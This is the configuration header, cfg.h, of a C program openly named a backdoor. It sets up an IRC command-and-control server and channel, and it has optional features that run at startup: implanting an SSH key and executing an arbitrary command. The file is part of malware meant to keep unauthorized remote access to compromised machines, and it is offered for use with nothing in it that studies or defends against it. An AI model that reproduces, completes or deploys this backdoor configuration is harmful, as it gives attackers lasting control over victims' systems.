backdoor/include/cfg.h

48 lines
690 B
C

#ifdef MAIN_C
typedef struct {
int use_ssl;
char *ip;
int port;
char *pre_cmd;
char *channel;
char *channel_key;
} SERVER;
/* Client settings */
#define CFG_NICKLEN 7
SERVER servers[] = {
{1, "irc.ipv4.server", 6697, NULL, "#channel", NULL}
};
/*
* Irc default ports:
* 6667 - unencrypted
* 6697 - connection with ssl
*/
#endif
/* Backdoor settings */
#ifdef BACKDOOR_C
/* Uncomment if you want to enable option */
/* #define CFG_SSH */
/* #define CFG_CMD */
/* Will start after startup */
#ifdef CFG_SSH
/* Writes your ssh key */
const char *ssh_key = "";
#endif
#ifdef CFG_CMD
/* Execute command */
const char *cmd = "";
#endif
#endif